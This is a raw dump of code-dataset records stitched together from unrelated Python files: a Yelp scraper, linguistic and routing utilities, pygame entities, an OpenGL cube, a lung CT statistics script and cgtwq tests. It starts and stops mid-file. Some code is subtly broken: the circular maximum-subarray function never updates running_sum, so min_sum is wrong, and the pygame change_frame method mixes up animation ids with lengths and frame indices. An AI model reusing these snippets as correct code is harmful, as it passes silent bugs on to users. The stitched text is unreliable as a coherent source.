temps[0].xpath(\"@title\").extract ()[0]\n else:\n item[\"rating\"] = \"0\"\n del temps[:]\n\n temps.extend (sel.xpath (\".//span[@class='review-count rating-qualifier']\"))\n if len (temps) > 0:\n item[\"NoOfReview\"] = temps[0].xpath(\"text()\").extract ()[0]\n else:\n item[\"NoOfReview\"] = \"0\"\n del temps[:]\n\n temps.extend (sel.xpath (\".//span[@class='category-str-list']\"))\n if len (temps) > 0:\n item[\"category\"] = temps[0].xpath(\"a/text()\").extract ()\n else:\n item[\"category\"] = [\"null\"]\n del temps[:]\n\n yield item\n # f = open (\"/Users/April/PycharmProjects/yelpbreak1000/nextpagetest.json\", \"w\")\n\n nextpages = response.xpath (\"//a[@class='page-option prev-next next']/@href\").extract ()\n # length = len (nextpages)\n # s = str (length)\n # f.write (s)\n for nextpage in nextpages:\n url = urljoin (self.base[0], nextpage)\n yield scrapy.Request (url, callback = self.parse)\n # f.write (url)\n # f.write ('/n')\n\n # f.close ()\n \n\n","sub_path":"Clinic and Preschool/scrapy/yelpbreak1000/yelpbreak1000/spiders/preschoolSpider.py","file_name":"preschoolSpider.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"258574471","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 19 12:19:11 2018\n\n@author: mariarodriguez\n\"\"\"\n\nimport numpy as np\n\n######################################################################################\n\ndef tolerance(i, r):\n \"\"\"\n This fonction computes Yang's Tolerance Principle.\n In order to be productive, the rule must have less irregular\n verbs than the threshold. Otherwise, the rule is not productive.\n\n Parameters\n -----------\n i, r: number of irregulars and regulars verbs\n\n Output\n -----------\n prod: boolean that stores if the rule is productive or not.\n threshold: Tolerance's principle threshold.\n\n \"\"\"\n N = i + r\n threshold = N/np.log(N)\n if i <= threshold:\n prod = True\n else:\n prod = False\n return prod, threshold","sub_path":"code/tolerance_principle.py","file_name":"tolerance_principle.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"231845968","text":"def calcular_distancia(ruta: list, distancias: dict) -> float:\n caminos = [(ruta[i], ruta[i + 1]) for i in range(len(ruta) - 1)]\n distancia_nodos = [distancias[camino] for camino in caminos]\n return sum(distancia_nodos)\n\ndef validar_distancia(distancias: dict) -> bool:\n for recorrido, distancia in distancias.items():\n if distancia < 0:\n return False\n elif recorrido[0] == recorrido[1] and distancia != 0:\n return False\n return True\n\ndef ruteo(distancias: dict, ruta_inicial: list) -> dict:\n if not validar_distancia(distancias):\n return \"Por favor revisar los datos de entrada.\"\n\n ruta_actual = ruta_inicial.copy()\n ruta_mas_corta = ruta_inicial.copy()\n distancia_mas_corta = calcular_distancia(ruta_actual, distancias)\n mejoro = True\n\n while mejoro:\n\n ruta_ciclo = ruta_mas_corta.copy()\n ruta = ruta_mas_corta[1:-1]\n ruta_actual = ruta_mas_corta.copy()\n mejoro = False\n\n for i, nodo in enumerate(ruta):\n for j, destino in enumerate(ruta[i + 1:], start=i + 1):\n # print(f'Camino {(nodo, destino)} - Posición origen {i + 1} - Posición destino {j + 1}')\n ruta_actual[i + 1] = destino\n ruta_actual[j + 1] = nodo\n distancia_ruta_actual = calcular_distancia(ruta_actual, distancias)\n\n if distancia_ruta_actual < distancia_mas_corta:\n distancia_mas_corta = distancia_ruta_actual\n ruta_mas_corta = ruta_actual.copy()\n mejoro = True\n\n ruta_actual = ruta_ciclo.copy()\n\n return {'ruta': \"-\".join(ruta_mas_corta), 'distancia': distancia_mas_corta}\n","sub_path":"Ruta_mas_corta.py","file_name":"Ruta_mas_corta.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"32430355","text":"from math import factorial\n\nclass ProbDespegar:\n \"\"\" Calculo de probabilidades\n\n Author : Phanatos\n \"\"\"\n\n def __init__(self, cortes = 2, longitud = 100):\n \"\"\"\n :type longitud: number\n :type cortes: number\n :rtype : None\n \"\"\"\n self.weldLocations = 0\n self.L = 0\n self._cortes = cortes\n self._longitud = longitud\n self._casosFavorables = 0\n self._casosPosibles = 0\n\n def __isFavorable(self, values, dim):\n if ( min(values) > dim ) or ( max(values) - min(values) > dim ) or ( self._longitud - max(values) > dim ): return True\n else: return False\n\n def cutProb(self, weldlocations, L):\n \"\"\"\n :param weldLocations: Welding points\n :type weldLocations: list\n :param L: Object's Length\n :type L: number\n :param: L : number\n :rtype : number\n \"\"\"\n self._casosFavorables = 0\n self._casosPosibles = 0\n\n for weldPosX in weldlocations[:]:\n for weldPosY in weldlocations[ weldlocations.index(weldPosX) + 1: ]:\n if self.__isFavorable([weldPosX , weldPosY], L):\n self._casosFavorables += 1\n\n self._casosPosibles = factorial(len(weldlocations)) / ( factorial(self._cortes) * factorial(len(weldlocations) - self._cortes) )\n\n print (self._casosFavorables/self._casosPosibles)\n\n\ntest = ProbDespegar()\ntest.cutProb([11,22,33,44,55,66,77,88,99],50)\ntest.cutProb([25,50,75],50)\ntest.cutProb([25,50,75],25)\ntest.cutProb([25,50,75],24)\n","sub_path":"despegar.py","file_name":"despegar.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"619513529","text":"import math\n# https://leetcode.com/problems/maximum-sum-circular-subarray/discuss/178422/One-Pass\n\ndef compute_maximum_subarray(arr):\n running_max = 0\n running_min = 0\n max_sum = arr[0]\n min_sum = arr[0]\n total = 0\n\n running_sum = 0\n for a in arr:\n running_max = max(running_max+a, a)\n running_min = min(running_min+a, a)\n\n max_sum = max(max_sum, running_max)\n min_sum = min(min_sum, running_sum)\n total += a\n return max(max_sum, total-min_sum) if max_sum > 0 else max_sum\n\n","sub_path":"revise-daily/june_2021/epi/4_compute_maximum_subarray.py","file_name":"4_compute_maximum_subarray.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"640798055","text":"import json\n\nimport tangelo\n\nfrom htmlparser import MyHTMLParser\nimport google\nimport onion\n\ndef search_onion(term):\n quoted_term = '\"%s\"' % term\n (results, user_agent_onion) = onion.get_search_results(quoted_term)\n return results\n\n\ndef search_google(term):\n quoted_term = '\"%s\"' % term\n parser = MyHTMLParser()\n (html, user_agent_google) = google.get_search_results(quoted_term)\n parser.feed(html)\n # remove the last result which is the google location based search about\n # page\n del parser.get_results()[-1]\n return parser.get_results()\n\n@tangelo.restful\ndef get(term):\n google_results = search_google(term)\n tangelo.log(google_results)\n onion_results = search_onion(term)\n tangelo.log(onion_results)\n results = google_results + onion_results\n if len(results) != 0:\n return json.dumps(dict(success=True, resultCount=len(results), results=results))\n","sub_path":"search/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"88361096","text":"import os\n\nimport testinfra.utils.ansible_runner\n\ntestinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(\n os.environ['MOLECULE_INVENTORY_FILE']\n).get_hosts('all')\n\n# There's no need to have two test cases for a user, since the user name and\n# home directory will be the same no matter what distro of linux we're using.\n# But it's a neat example of how to customize tests for different distros.\n\n\ndef test_ansible_user(host):\n os = host.system_info.distribution\n\n if os == 'debian':\n user = host.user('ansible')\n assert user.exists\n assert user.home == '/home/ansible'\n assert user.group == 'ansible'\n\n elif os == 'redhat':\n user = host.user('ansible')\n assert user.exists\n assert user.home == '/home/ansible'\n assert user.group == 'ansible'\n","sub_path":"sample_roles/user_create/molecule/default/tests/test_default.py","file_name":"test_default.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"552350034","text":"from glumpy import app, gloo, gl, glm, data\nimport numpy as np\nfrom os.path import abspath\n\n\nvertex = \"\"\"\n uniform mat4 u_model; // Model matrix (local to world space)\n uniform mat4 u_view; // View matrix (world to camera space)\n uniform mat4 u_projection; // Projection matrix (camera to screen)\n\n attribute vec3 a_position; // Vertex Position\n attribute vec3 a_normal; // Vertex normal\n\n varying vec3 v_texcoord; // Interpolated fragment texture coordinates (out)\n varying vec3 v_position; // Interpolated position (out)\n varying vec3 v_normal; // Interpolated normal (out)\n\n void main()\n {\n v_texcoord = a_position;\n\t\tv_normal = a_normal;\n\t\tv_position = a_position;\n gl_Position = u_projection * u_view * u_model * vec4(a_position,1.0);\n } \"\"\"\n\nfragment = \"\"\"\n uniform mat4 u_model; // Model matrix\n uniform mat4 u_view; // View matrix\n uniform mat4 u_normal; // Normal matrix\n uniform vec3 u_light_position; // Light position\n uniform vec3 u_light_intensity; // Light intensity\n uniform samplerCube u_texture; // Texture\n\n varying vec3 v_normal; // Interpolated normal (out)\n varying vec3 v_position; // Interpolated position (out)\n varying vec3 v_texcoord; // Interpolated fragment texture coordinates (out)\n\n void main()\n {\n // Calculate normal in world coordinates\n vec3 normal = normalize(u_normal * vec4(v_normal,1.0)).xyz;\n // Calculate the location of this fragment (pixel) in world coordinates\n vec3 position = vec3(u_view*u_model * vec4(v_position, 1));\n // Calculate the vector from this pixels surface to the light source\n vec3 surfaceToLight = u_light_position - position;\n // Calculate the cosine of the angle of incidence (brightness)\n float brightness = dot(normal, surfaceToLight) /\n (length(surfaceToLight) * length(normal));\n brightness = max(min(brightness,1.0),0.0);\n // Calculate final color of the pixel, based on:\n // 1. The angle of incidence: brightness\n // 2. The color/intensities of the light: light.intensities\n // 3. The texture and texture coord: texture(tex, fragTexCoord)\n // Get texture color\n\n vec4 t_color = textureCube(u_texture, v_texcoord);\n gl_FragColor = t_color * (0.1 + 0.9*brightness * vec4(u_light_intensity, 1));\n } \"\"\"\n\nfragment_plain = \"\"\"\n uniform samplerCube u_texture; // Texture\n\n varying vec3 v_normal; // Interpolated normal (in)\n varying vec3 v_position; // Interpolated position (in)\n varying vec3 v_texcoord; // Interpolated fragment texture coordinates (in)\n\n void main()\n {\n vec4 t_color = textureCube(u_texture, v_texcoord);\n gl_FragColor = t_color;\n } \"\"\"\n\n\n# Initialize the array of vertex, and normal faces\nvertex_pos = [[ 1, 1, 1], [-1, 1, 1], [-1,-1, 1], [ 1,-1, 1], [ 1,-1,-1], [ 1, 1,-1], [-1, 1,-1], [-1,-1,-1]]\nface_norm = [[0, 0, 1], [1, 0, 0], [0, 1, 0],[-1, 0, 1], [0, -1, 0], [0, 0, -1]]\n\nface_vertex_idx = [0, 1, 2, 3, 0, 3, 4, 5, 0, 5, 6, 1, 1, 6, 7, 2, 7, 4, 3, 2, 4, 7, 6, 5]\nface_normal_idx = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5]\n\n# Upload the texture data\ntexture = np.zeros((6,1024,1024,4),dtype=np.float32).view(gloo.TextureCube)\ntexture.interpolation = gl.GL_LINEAR\ntexture[2] = data.get(abspath(\"Up2.png\"))/255.\ntexture[3] = data.get(abspath(\"Down2.png\"))/255.\ntexture[0] = data.get(abspath(\"Right2.png\"))/255.\ntexture[1] = data.get(abspath(\"Left2.png\"))/255.\ntexture[4] = data.get(abspath(\"Front2.png\"))/255.\ntexture[5] = data.get(abspath(\"Back2.png\"))/255.\n\n# Bind the vertex object to the cube program\ncube = gloo.Program(vertex, fragment)\ncube[\"a_position\"] = [vertex_pos[i] for i in face_vertex_idx]\ncube['a_normal'] = [face_norm[i] for i in face_normal_idx]\ncube['u_texture'] = texture\n\n# Initiate all three matrix\nview = np.eye(4,dtype=np.float32)\nmodel = np.eye(4,dtype=np.float32)\nprojection = glm.perspective(45.0, 1, 2.0, 100.0)\n\n# Minimize the model, and move the camera-view back\nglm.scale(model,0.5,1,0.1)\nglm.translate(view, 0,0,-5)\n\n# Pass all the matrix to the model\ncube['u_model'] = model\ncube['u_view'] = view\ncube['u_projection'] = projection\ncube[\"u_light_position\"] = 0,0,-2\ncube[\"u_light_intensity\"] = 1,1,1\n\n# Initiaze the window\nphi = 0.5\ntheta = 0.1\nkappa = 1\nwindow = app.Window(800,600)\n\n\n@window.event\ndef on_resize(width, height):\n global projection\n\n ratio = width / float(height)\n projection = glm.perspective(45.0, ratio, 2.0, 100.0)\n cube['u_projection'] = projection\n\n\n@window.event\ndef on_draw(dt):\n global phi, theta, model\n\n window.clear()\n cube.draw(gl.GL_QUADS)\n\n # Make cube rotate\n #view = cube['u_view'].reshape(4,4)\n #model = np.eye(4, dtype=np.float32)\n glm.rotate(model, theta, 0, 0, 1)\n glm.rotate(model, phi, 0, 1, 0)\n glm.rotate(model, kappa, 1, 0, 0)\n cube['u_model'] = model\n cube['u_normal'] = np.array(np.matrix(np.dot(view, model)).I.T)\n\n\n@window.event\ndef on_init():\n gl.glEnable(gl.GL_DEPTH_TEST)\n #gl.glDisable(gl.GL_BLEND)\n\napp.run()\n\n","sub_path":"Box.py","file_name":"Box.py","file_ext":"py","file_size_in_byte":5286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"110549885","text":"class ID:\n\tdef __init__(self):\n\t\tself._data = {}\n\t\tself._index = 0\n\n\tdef get(self, name):\n\t\ttry:\n\t\t\treturn self._data[name]\n\t\texcept KeyError:\n\t\t\tself._data[name] = self._index\n\t\t\tself._index += 1\n\t\t\treturn self._data[name]\n\n\nclass UnionFind:\n\tdef __init__(self, n):\n\t\tself._data = [i for i in range(n)]\n\t\tself._weight = [1] * n\n\n\tdef find(self, x):\n\t\twhile x != self._data[x]:\n\t\t\t# self._data[x] = self._data[self._data[x]]\n\t\t\tx = self._data[x]\n\t\treturn x\n\n\tdef joined(self, a, b):\n\t\treturn self.find(a) == self.find(b)\n\n\tdef join(self, a, b):\n\t\tif self.joined(a, b): return 0\n\n\t\ta, b = self.find(a), self.find(b)\n\t\tans = self._weight[a] * self._weight[b]\n\t\tif self._weight[a] < self._weight[b]:\n\t\t\tself._data[a] = b\n\t\t\tself._weight[b] += self._weight[a]\n\t\t\tself._weight[a] = 0\n\t\telse:\n\t\t\tself._data[b] = a\n\t\t\tself._weight[a] += self._weight[b]\n\t\t\tself._weight[b] = 0\n\n\t\treturn ans\n\nif __name__ == '__main__':\n\tn = int(input())\n\n\tunion = UnionFind(n*2)\n\tidentifier = ID()\n\tfor _ in range(n):\n\t\t# print('pth', union._data[:5])\n\t\t# print('wei', union._weight[:5])\n\t\ta, b = map(identifier.get, input().split())\n\t\tprint(union.join(a, b))","sub_path":"rychlostne/buildroad.py","file_name":"buildroad.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"534658739","text":"from data.scripts.core_funcs import *\n\nglobal e_colorkey\ne_colorkey = (255, 255, 255)\n\n\ndef set_global_colorkey(colorkey):\n global e_colorkey\n e_colorkey = colorkey\n\n\nKNOWN_TAGS = ['loop']\n\n\n# entity stuff\ndef simple_entity(x, y, e_type):\n return Entity(x, y, 1, 1, e_type)\n\n\ndef flip(img, boolean=True, boolean_2=False):\n return pygame.transform.flip(img, boolean, boolean_2)\n\n\ndef blit_center(surf, surf2, pos):\n x = int(surf2.get_width() / 2)\n y = int(surf2.get_height() / 2)\n surf.blit(surf2, (pos[0] - x, pos[1] - y))\n\n\nclass Entity(object):\n global animation_database, animation_higher_database\n\n def __init__(self, x, y, width, height, e_type):\n self.x = x\n self.y = y\n self.original_y = y\n self.original_x = x\n self.width = width\n self.height = height\n self.rect = pygame.Rect(x, y, self.width, self.height)\n self.animation = None\n self.image = None\n self.animation_frame = 0\n self.animation_tags = []\n self.flip = False\n self.offset = [0, 0]\n self.rotation = 0\n self.type = e_type # used to determine animation set among other things\n self.action_timer = 0\n self.current_action = ''\n self.set_action('idle') # overall action for the entity\n self.entity_data = {}\n self.alpha = None\n self.animation_progress = 0\n\n def set_pos(self, loc):\n x = loc[0]\n y = loc[1]\n self.x = x\n self.y = y\n\n def update_variable(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n def get_rect(self):\n return pygame.Rect(self.x, self.y, self.width, self.height)\n\n def set_flip(self, boolean):\n self.flip = boolean\n\n def set_animation_tags(self, tags):\n self.animation_tags = tags\n\n def set_animation(self, sequence):\n self.animation = sequence\n self.animation_frame = 0\n\n def set_action(self, action_id, force=False):\n pass\n\n def get_entity_angle(self, entity_2):\n x1 = self.x + int(self.width / 2)\n y1 = self.y + int(self.height / 2)\n x2 = entity_2.x + int(entity_2.width / 2)\n y2 = entity_2.y + int(entity_2.height / 2)\n angle = math.atan((y2 - y1) / (x2 - x1))\n if x2 < x1:\n angle += math.pi\n return angle\n\n def get_point_angle(self, point):\n return math.atan2(point[1] - self.get_center()[1], point[0] - self.get_center()[0])\n\n def get_distance(self, point):\n dis_x = point[0] - self.get_center()[0]\n dis_y = point[1] - self.get_center()[1]\n return math.sqrt(dis_x ** 2 + dis_y ** 2)\n\n def get_center(self):\n x = self.x + int(self.width / 2)\n y = self.y + int(self.height / 2)\n return [x, y]\n\n def clear_animation(self):\n self.animation = None\n\n def set_image(self, image):\n self.image = image\n\n def set_offset(self, offset):\n self.offset = offset\n\n def set_frame(self, amount):\n self.animation_frame = amount\n\n def handle(self):\n self.action_timer += 1\n self.change_frame(1)\n\n def change_frame(self, amount):\n self.animation_frame += amount\n if self.animation is not None:\n while self.animation_frame < 0:\n if 'loop' in self.animation_tags:\n self.animation_frame += self.animation\n else:\n self.animation = 0\n while self.animation_frame >= self.animation:\n if 'loop' in self.animation_tags:\n self.animation_frame -= self.animation\n else:\n self.animation_frame = self.animation - 1\n for tag in self.animation_tags:\n if tag not in KNOWN_TAGS:\n self.set_action(tag)\n self.animation_progress = (self.animation_frame + 1) / self.animation\n\n def get_current_img(self):\n if self.animation is None:\n if self.image is not None:\n return flip(self.image, self.flip)\n else:\n return None\n else:\n return flip(animation_database[self.animation[self.animation_frame]], self.flip)\n\n def get_drawn_img(self):\n image_to_render = None\n if self.animation is None and self.image is not None:\n image_to_render = flip(self.image, self.flip).copy()\n else:\n image_to_render = flip(animation_database[self.animation[self.animation_frame]], self.flip).copy()\n if image_to_render is not None:\n center_x = image_to_render.get_width() / 2\n center_y = image_to_render.get_height() / 2\n image_to_render = pygame.transform.rotate(image_to_render, self.rotation)\n if self.alpha is not None:\n image_to_render.set_alpha(self.alpha)\n return image_to_render, center_x, center_y\n\n def display(self, surface, scroll):\n image_to_render = None\n if self.animation is None:\n if self.image is not None:\n image_to_render = flip(self.image, self.flip).copy()\n else:\n image_to_render = flip(animation_database[self.animation[self.animation_frame]], self.flip).copy()\n if image_to_render is not None:\n center_x = image_to_render.get_width() / 2\n center_y = image_to_render.get_height() / 2\n image_to_render = pygame.transform.rotate(image_to_render, self.rotation)\n if self.alpha is not None:\n image_to_render.set_alpha(self.alpha)\n blit_center(surface, image_to_render, (int(self.x) - scroll[0] + self.offset[0] + center_x,\n int(self.y) - scroll[1] + self.offset[1] + center_y))\n\n\n# animation stuff\n\nglobal animation_database\nanimation_database = {}\n\nglobal animation_higher_database\nanimation_higher_database = {}\n\n\n# a sequence looks like [[0,1],[1,1],[2,1],[3,1],[4,2]]\n# the first numbers are the image name(as integer), while the second number shows the duration of it in the sequence\ndef animation_sequence(sequence, base_path, colorkey=(255, 255, 255), transparency=255):\n global animation_database\n result = []\n for frame in sequence:\n image_id = base_path + base_path.split('/')[-2] + '_' + str(frame[0])\n image = pygame.image.load(image_id + '.png').convert()\n image.set_colorkey(colorkey)\n image.set_alpha(transparency)\n animation_database[image_id] = image.copy()\n for _ in range(frame[1]):\n result.append(image_id)\n return result\n\n\ndef get_frame(frame_id):\n global animation_database\n return animation_database[frame_id]\n\n\ndef load_animations2(path):\n pass\n\n\n# particles\ndef particle_file_sort(l):\n l2 = []\n for obj in l:\n l2.append(int(obj[:-4]))\n l2.sort()\n l3 = []\n for obj in l2:\n l3.append(str(obj) + '.png')\n return l3\n\n\nglobal particle_images\nparticle_images = {}\n\n\ndef load_particle_images(path):\n pass\n\n\nclass Particle(object):\n def __init__(self, x, y, particle_type, motion, decay_rate, start_frame, custom_color=None, physics=False):\n self.x = x\n self.y = y\n self.type = particle_type\n self.motion = motion\n self.decay_rate = decay_rate\n self.color = custom_color\n self.frame = start_frame\n self.physics = physics\n self.orig_motion = self.motion\n self.temp_motion = [0, 0]\n self.time_left = len(particle_images[self.type]) + 1 - self.frame\n self.render = True\n\n def draw(self, surface, scroll):\n global particle_images\n if self.render:\n if self.color is None:\n blit_center(surface, particle_images[self.type][int(self.frame)],\n (self.x - scroll[0], self.y - scroll[1]))\n else:\n blit_center(surface,\n swap_color(particle_images[self.type][int(self.frame)], (255, 255, 255), self.color),\n (self.x - scroll[0], self.y - scroll[1]))\n\n def update(self, dt):\n self.frame += self.decay_rate * dt\n self.time_left = len(particle_images[self.type]) + 1 - self.frame\n running = True\n self.render = True\n if self.frame >= len(particle_images[self.type]):\n self.render = False\n if self.frame >= len(particle_images[self.type]) + 1:\n running = False\n if not self.physics:\n self.x += (self.temp_motion[0] + self.motion[0]) * dt\n self.y += (self.temp_motion[1] + self.motion[1]) * dt\n self.temp_motion = [0, 0]\n return running\n\n\n# other useful functions\n\ndef swap_color(img, old_c, new_c):\n global e_colorkey\n img.set_colorkey(old_c)\n surf = img.copy()\n surf.fill(new_c)\n surf.blit(img, (0, 0))\n surf.set_colorkey(e_colorkey)\n return surf\n","sub_path":"data/scripts/rapid_potato/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":9038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"315446374","text":"# ##############################################################################\n# Usage: python S_norm.py Subj I1 I2\n# Time: ~ 20s\n# Ref: \n# ##############################################################################\n# V1b: 08/10/2021, In Kyu Lee\n# - S* stat is added\n# 03/18/2021, In Kyu Lee\n# Calculate S*\n# ##############################################################################\n# Input: \n# - displacement img, ex) PMSN03001_EX0-TO-PMSN03001_IN0-SSTVD_disp_resample.mhd'\n# - IN lobe mask, ex) PMSN03001_IN0_vida-lobes.img\n# Output:\n# - s* image, ex) PMSN03001_EX0-TO-PMSN03001_IN0-SSTVD_s_norm.img\n# - s* stat, ex) PMSN03001_EX0-TO-PMSN03001_IN0-SSTVD_lobar_s_norm.txt\n# ##############################################################################w\n\n# import libraries\nimport os\nimport sys\nimport numpy as np\nimport time\nimport pandas as pd\nfrom medpy.io import load, save\nimport SimpleITK as sitk\nsitk.ProcessObject_SetGlobalWarningDisplay(False)\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nstart = time.time()\nSubj = str(sys.argv[1]) # PMSN03001\nI1 = str(sys.argv[2]) # 'IN0'\nI2 = str(sys.argv[3]) # 'EX0'\n\ndisp_path = f'{Subj}_{I2}-TO-{Subj}_{I1}-SSTVD_disp_resample.mhd'\nhisto_EX = pd.read_csv(f'{Subj}_{I2}_vida-histo.csv')\nhisto_IN = pd.read_csv(f'{Subj}_{I1}_vida-histo.csv')\ns_norm_stat_path = f'{Subj}_{I2}-TO-{Subj}_{I1}-SSTVD_lobar_s_norm.txt'\n\nIN_lobe_path = f'{Subj}_{I1}_vida-lobes.img'\nif not os.path.exists(IN_lobe_path):\n IN_lobe_path = f'{Subj}_{I1}_vida-lobes.img.gz'\n\ns_norm_img_path = f'{Subj}_{I2}-TO-{Subj}_{I1}-SSTVD_s_norm.img'\n# V_cm3_IN \nV_EX = histo_EX.loc[histo_EX.location=='both', 'total-volume-cm3'].values[0]\nV_IN = histo_IN.loc[histo_IN.location=='both', 'total-volume-cm3'].values[0]\n# cm^3 -> mm^3\nV_EX = V_EX * 1000\nV_IN = V_IN * 1000\n\n# Data Loading . . .\ndisp, disp_h = load(disp_path)\nIN_lobe_img, IN_lobe_header = load(IN_lobe_path)\ns_norm_h = disp_h\n# [mm]\ns = (disp[:,:,:,0]**2+disp[:,:,:,1]**2+disp[:,:,:,2]**2)**0.5\ns_norm = s/((V_IN-V_EX)**(1/3))\n\n# Prep stat\ns_norm_l0 = np.mean(s_norm[IN_lobe_img==8])\ns_norm_l1 = np.mean(s_norm[IN_lobe_img==16])\ns_norm_l2 = np.mean(s_norm[IN_lobe_img==32])\ns_norm_l3 = np.mean(s_norm[IN_lobe_img==64])\ns_norm_l4 = np.mean(s_norm[IN_lobe_img==128])\ns_norm_mean = (s_norm_l0 + s_norm_l1 + s_norm_l2 + s_norm_l3 + s_norm_l4)/5\n\ns_norm_l0_sd = np.std(s_norm[IN_lobe_img==8])\ns_norm_l1_sd = np.std(s_norm[IN_lobe_img==16])\ns_norm_l2_sd = np.std(s_norm[IN_lobe_img==32])\ns_norm_l3_sd = np.std(s_norm[IN_lobe_img==64])\ns_norm_l4_sd = np.std(s_norm[IN_lobe_img==128])\ns_norm_sd = np.std(s_norm[IN_lobe_img!=0])\n\n# CV = std/mean\ns_norm_l0_cv = s_norm_l0_sd/s_norm_l0\ns_norm_l1_cv = s_norm_l1_sd/s_norm_l1\ns_norm_l2_cv = s_norm_l2_sd/s_norm_l2\ns_norm_l3_cv = s_norm_l3_sd/s_norm_l3\ns_norm_l4_cv = s_norm_l4_sd/s_norm_l4\ns_norm_cv = s_norm_sd/s_norm_mean\n\ns_norm_stat = pd.DataFrame({'Lobes':['Lobe0','Lobe1','Lobe2','Lobe3','Lobe4','All'],\n 'sStar_m':np.float16([s_norm_l0,s_norm_l1,s_norm_l2,s_norm_l3,s_norm_l4,s_norm_mean]),\n 'sStar_sd':np.float16([s_norm_l0_sd,s_norm_l1_sd,s_norm_l2_sd,s_norm_l3_sd,s_norm_l4_sd,s_norm_sd]),\n 'sStar_cv':np.float16([s_norm_l0_cv,s_norm_l1_cv,s_norm_l2_cv,s_norm_l3_cv,s_norm_l4_cv,s_norm_cv])})\n\n\n# Save\nsave(s_norm,s_norm_img_path,hdr=s_norm_h)\ns_norm_stat.to_csv(s_norm_stat_path, index=False, sep=' ')\nend = time.time()\nprint(f'Elapsed time: {end-start}s')\n","sub_path":"INEX/S_norm_v1b.py","file_name":"S_norm_v1b.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"409177623","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nmymoviedata=pd.read_table(\"http://bit.ly/movieusers\",sep=\"|\",header=None)\nprint(mymoviedata.head())\n\ncols=['col1','col2','col3','col4','col5']\nmymoviedata.columns=cols\nprint(mymoviedata.head())\n\n\nprint(mymoviedata.col3.head())\n\nmymoviedata[\"col6\"]=mymoviedata.col2.astype(str) + \":\" + mymoviedata.col3\nprint(mymoviedata.head())\n\nprint(mymoviedata.columns)\n\ncols1=mymoviedata[\"col1\"].head()\nprint(cols1)\ncols2=mymoviedata[\"col2\"].head()\nprint(cols2)\n\nplt.xlim(1,5)\nplt.xticks(np.linspace(1,5,5,endpoint=True))#np.linspaspace(startnum,endnum,nuber of values to be generated)\nplt.ylim(20,60)\nplt.yticks(np.linspace(23,53,4,endpoint=True))\n\nplt.bar(cols1,cols2)\nplt.show()\n\n","sub_path":"Three/numpy,pandas,matplotlib,scipy/Pandas_Asg.py","file_name":"Pandas_Asg.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"517055488","text":"# -*- coding=UTF-8 -*-\n# pylint: disable=invalid-name\n# pyright: reportUnknownParameterType=none\n\"\"\"Test module `cgtwq.database`.\"\"\"\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport random\nfrom unittest import TestCase, main\n\nimport pytest\nimport six\n\nimport cgtwq\nimport cgtwq.model\nfrom cgtwq import Filter, model\nfrom tests import util\n\npytestmark = [util.skip_if_not_logged_in]\n\n\nclass DataBaseTestCase(TestCase):\n def setUp(self):\n self.database = cgtwq.Database(\"proj_sdktest\")\n\n def test_get_pipeline(self):\n result = self.database.pipeline.filter(cgtwq.Filter(\"entity\", \"合成\"))\n self.assertIsInstance(result[0], cgtwq.model.PipelineInfo)\n\n\ndef test_list_filebox_by_pipeline():\n db = cgtwq.Database(\"proj_sdktest\")\n (pipeline,) = db.pipeline.filter(cgtwq.Field(\"entity\") == \"合成\")\n pipeline.module\n filebox_list = db.filebox.list_by_pipeline(pipeline)\n assert filebox_list\n\n\nclass ModuleTestCase(TestCase):\n def setUp(self):\n self.module = cgtwq.Database(\"proj_sdktest\").module(\"shot\")\n\n def test_pipeline(self):\n result = self.module.pipelines()\n assert len(result) > 0\n for i in result:\n self.assertIsInstance(i, cgtwq.model.PipelineInfo)\n\n def test_get_history(self):\n\n result = self.module.history.filter(Filter(\"status\", \"Approve\"))\n for i in result:\n assert isinstance(i, model.HistoryInfo)\n assert i.id\n assert i.account_id\n assert i.task_id\n assert i.time\n\n def test_count_history(self):\n\n result = self.module.history.count(Filter(\"status\", \"Approve\"))\n self.assertIsInstance(result, int)\n\n\nclass ProjectTestCase(TestCase):\n def test_names(self):\n result = cgtwq.PROJECT.names()\n self.assertIsInstance(result, tuple)\n for i in result:\n self.assertIsInstance(i, six.text_type)\n\n\nclass AccountTestCase(TestCase):\n def test_names(self):\n result = cgtwq.ACCOUNT.names()\n self.assertIsInstance(result, tuple)\n for i in result:\n self.assertIsInstance(i, six.text_type)\n\n\n@pytest.fixture(name=\"database\")\ndef _database():\n return cgtwq.Database(\"proj_sdktest\")\n\n\ndef test_get_software(database):\n assert isinstance(database, cgtwq.Database)\n path = 